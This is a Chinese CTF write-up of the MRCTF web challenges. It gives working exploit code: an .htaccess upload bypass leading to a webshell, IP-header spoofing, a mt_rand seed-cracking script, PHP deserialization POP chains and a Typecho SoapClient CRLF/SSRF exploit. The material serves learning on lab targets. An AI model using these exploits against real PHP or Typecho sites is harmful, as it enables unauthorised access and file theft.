[MRCTF]Web WriteUp


和武科大WUSTCTF同時打的一場比賽,最后因為精力放在武科大比賽上了,排名13  - -Web題目難度跨度過大,分不清層次,感覺Web題目分布不是很好,質量還是不錯的

Ez_bypass

進入題目得到源碼:

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}
?>

第一層: md5($id) === md5($gg) && $id !== $gg 

MD5強相等,數組繞過即可 /index.php?id[]=1&gg[]=2 

第二層: !is_numeric($passwd) &&  $passwd==1234567 

is_numeric()繞過:十六進制繞過、%00截斷繞過、弱類型比較繞過均可  POST: passwd=1234567a

你傳你🐎呢

出題人脾氣挺爆的啊,進入題目直接給了一個上傳點:

fuzz一下發現后端過濾了所有拓展名中含ph的文件,並且有Content-Type驗證

服務器是Apache,不難想到利用.htaccess來將jpg文件當作php文件解析

寫一個.htaccess文件,源碼如下:

<FilesMatch "jpg">
      SetHandler application/x-httpd-php 
</FilesMatch>

上傳時注意抓包修改 Content-Type: image/jpeg 

上傳成功后上傳一個jpg拓展名的一句話木馬,得到Shell,Flag在根目錄下:

PYwebsite

進入題目查看源代碼得到一段驗證的Js代碼:

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通過了驗證!");
          window.location = "./flag.php"
        }else{
          alert("你的授權碼不正確!");
        }
      }else{
        alert("請輸入授權碼");
      }
      
    }

發現md5驗證成功后會跳轉到/flag.php,跟進文件看一下:

細品紅框中的話,添加XFF頭為127.0.0.1  X-Forwarded-For: 127.0.0.1 ,得到Flag:

 

 (這里的一個坑是輸出的Flag是白色的,如果沒有用Burp或者其他工具看源碼,就要右鍵框選一下文字才能看到)

套娃

第一層,Ctrl+U 查看源代碼:

//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

NCTF原題改編,構造Payload:

第一個if判斷:php會把空格( )或者點(.)自動替換成下划線(_),可以繞過

第二個if判斷:prep_match()正則匹配,在23333后面加%0A繞過

最終Payload: b u p t=23333%0A 或 b.u.p.t=23333%0A 

得到提示:FLAG is in secrettw.php

進入secrettw.php,右鍵源代碼發現注釋中有JsFuck,放進F12運行一下得到:

 

  POST:Merak=1 即可得到源碼:

<?php  
error_reporting(0);  
include 'takeip.php'; 
ini_set('open_basedir','.');  
include 'flag.php'; 
 
if(isset($_POST['Merak'])){  
    highlight_file(__FILE__);  
    die();  //注意這里!如果POST了Merak就會Die
}  
 
 //重點在這個加密函數上
function change($v){  
    $v = base64_decode($v);  
    $re = '';  
    for($i=0;$i<strlen($v);$i++){  
        $re .= chr ( ord ($v[$i]) + $i*2 );  
    }
    return $re;  
} 
echo 'Local access only!'."<br/>"; 
$ip = getIp(); 
if($ip!='127.0.0.1') 
echo "Sorry,you don't have permission!  Your ip is :".$ip; 
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ 
echo "Your REQUEST is:".change($_GET['file']); 
echo file_get_contents(change($_GET['file'])); } 
?>  

分析思路:首先用file_get_contents()函數獲取2333參數的內容,要求獲取到的內容為todat is a happy day;其次是驗證IP是否為127.0.0.1;最后是用解密函數對file參數解密,然后包含輸出file參數的值;

第一層用data偽協議就可以直接繞過 index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk= 

第二層IP驗證測試了一下常用的Header,發現Client-IP可以繞過,添加Header: Client-IP: 127.0.0.1 

第三層對file參數進行了一個解密,反推出加密腳本:

<?php
  function enc($payload){ 
      for($i=0; $i<strlen($payload); $i++){
        $re .= chr(ord($payload[$i])-$i*2);  
      }
      return base64_encode($re);  
  }
  echo enc('flag.php');
  //flag.php加密后得到:ZmpdYSZmXGI=
?>

最終Payload: index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=&file=ZmpdYSZmXGI=

Header添加: Client-IP: 127.0.0.1 

Ezaudit

www.zip源碼泄露,里面只有一個index.php文件:

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若為空,視為未填寫,提示錯誤,並3秒后返回登錄界面
        header('refresh:2; url=login.html');
        echo "用戶名、密碼、密鑰不能為空啦,crispr會讓你在2秒后跳轉到登錄界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒后跳轉到登錄界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';    //直接SQL注入 萬能密碼就能過去
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 

//代碼簡化了一下
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < 16; $i++ )
    $public_key .= substr($strings1, mt_rand(0, 61), 1);   //BJDCTF 1st 枯燥的抽獎原題
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < 12; $i++ )
    $private_key .= substr($strings2, mt_rand(0, 61), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

大概看了一下,這段代碼需要三個參數: username(crispr) 、  password(萬能密碼)  、   Private_key(私鑰) 
只要能正確輸入賬號和密碼(密碼直接用萬能密碼就可以)以及私鑰就可以獲得Flag。但是需要公私密鑰,這里的突破點是使用了mr_rand()偽隨機數函數,並且題目最后給出了公鑰,思路也就是利用公鑰推算出私鑰進行SQL注入。
根據公鑰爆破出mt_rand()的種子:

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print res

得到種子后再用php_mt_seed爆破一下得到種子: seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM) 

寫個腳本播撒種子,推出私鑰:

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

 function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
echo public_key()."\n";
echo private_key();
?>

得到私鑰為  XuNhoueCDCGc 

得到私鑰,然后在login.html頁面用萬能密碼登陸進去得到Flag

Ezpop

很適合入門者的一道簡單反序列化構造Pop鏈的題目,進入題目,給出源碼:

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

出題人還順帶給出了魔法函數的學習地址,這里列出來吧:

 __construct()  //當一個對象創建時被調用
 __destruct()  //當一個對象銷毀時被調用
 __toString()   //當一個對象被當作一個字符串使用
 __sleep()  //在對象在被序列化之前運行
 __wakeup()  //將在反序列化之后立即被調用(通過序列化對象元素個數不符來繞過)
 __get()  //獲得一個類的成員變量時調用
 __set()  //設置一個類的成員變量時調用
 __invoke()  //調用函數的方式調用一個對象時的回應方法
 __call()  //當調用一個對象中的不能用的方法的時候就會執行這個函數

然后來分析一下這道題的pop鏈構造:

 調用__wakeup() -> 觸發__tostring() -> source屬性不存在,觸發Test類的__get()函數 -> 觸發__invoke()函數 -> include()包含文件(偽協議)  

具體代碼層面的邏輯分析可以看官方wp:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//8.觸發這個include,利用php base64 wrapper 讀flag
    }
    public function __invoke(){
        $this->append($this->var);//7.然后會調用到這里
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;//4.這里會調用str->source的__get 那么我們將其設置為Test對象
    }

    public function __wakeup(){//2.如果pop是個Show,那么調用這里
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的時候會調用__toString
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;//5.觸發到這里
        return $function();//6.()會調用__invoke,我們這里選擇Modifier對象
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);//1.反序列調用這里
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

Exp:

<?php 
class Modifier{
    protected $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Test{
    public $p;
}

class Show{
    public $source;
    public $str;
}

$s = new Show();
$t = new Test();
$r = new Modifier();
$t->p = $r;
$s->str = $t;
$s->source = $s;
echo urlencode(serialize($s));

Ezpop Revenge

這道題當時沒做出來,找到反序列化位點了,也知道是一個SOAP反序列化,但是就是沒有找到輸入點,也沒查到調用類的地方,代碼量太大最后也沒審計出來。

題目中www.zip泄露源碼,然后發現是typecho的源碼,但是被魔改了一下,網上查不到有用的CVE,然后開始審計代碼,最后在 HelloWorld/Plugin.php 找到反序列化點:

if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|op|sy|exec|dl|ini|pass|scan|log|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
            //call_user_func("call_user_func",array($a,"233"));
        }
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}

大部分師傅應該都做到了這里,接下來一步才是卡住師傅們的地方。

找到反序列化點之后我們需要找調用類的輸入點,NotePad++用關鍵詞搜了半天沒搜到,最后發現在 Typecho/Plugin.php  里有一個路由:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

放出官方的Exp:

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function __construct($coincidence){
        $this->coincidence = $coincidence;
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Request{
    private $_params;
    private $_filter;
    function __construct($params,$filter){
        $this->_params=$params;
        $this->_filter=$filter;
    }
}
class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);

$a = new SoapClient(null,array('location' => $target,
                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
                                'uri'      => "aaab"));

$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\n";
echo urlencode(base64_encode(serialize($exp)));

用payload打一次刷新下頁面var_dump()就會dumpflag出來了

Not So Web Application(謎之Web-Re)

這道題真的不想多說,放在Web分類里,最后其實是wasm的逆向調試,扔給Re師傅,Re師傅看到幾百萬行代碼之后直接把我拉黑了!對,拉黑了!

官方的Wp也是只言片語,原諒我太菜了復現不出來:

首先是題目說明,這玩意本來沒這么惡心(沒偽裝加上 User 和 SQL 那個 SVG)
本題主要難點在於 Web Assembly 至今沒有個能用的調試器,所以需要多種手段動調+靜態調試。 可以先通過和其他 Qt for Web Assembly 程序比對,去掉一大半疑似函數,同時可以通過搜索字符串(Incorrect等)確定大概相關函數位置。 同時通過給輸入框塞入大量垃圾(>64KB,wasm基本內存單位)觸發內存越界錯誤找到變量存儲位置。最終在瀏覽器里動調和 wasm2c 的輔助可以找到flag加密后內容和比對算法。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM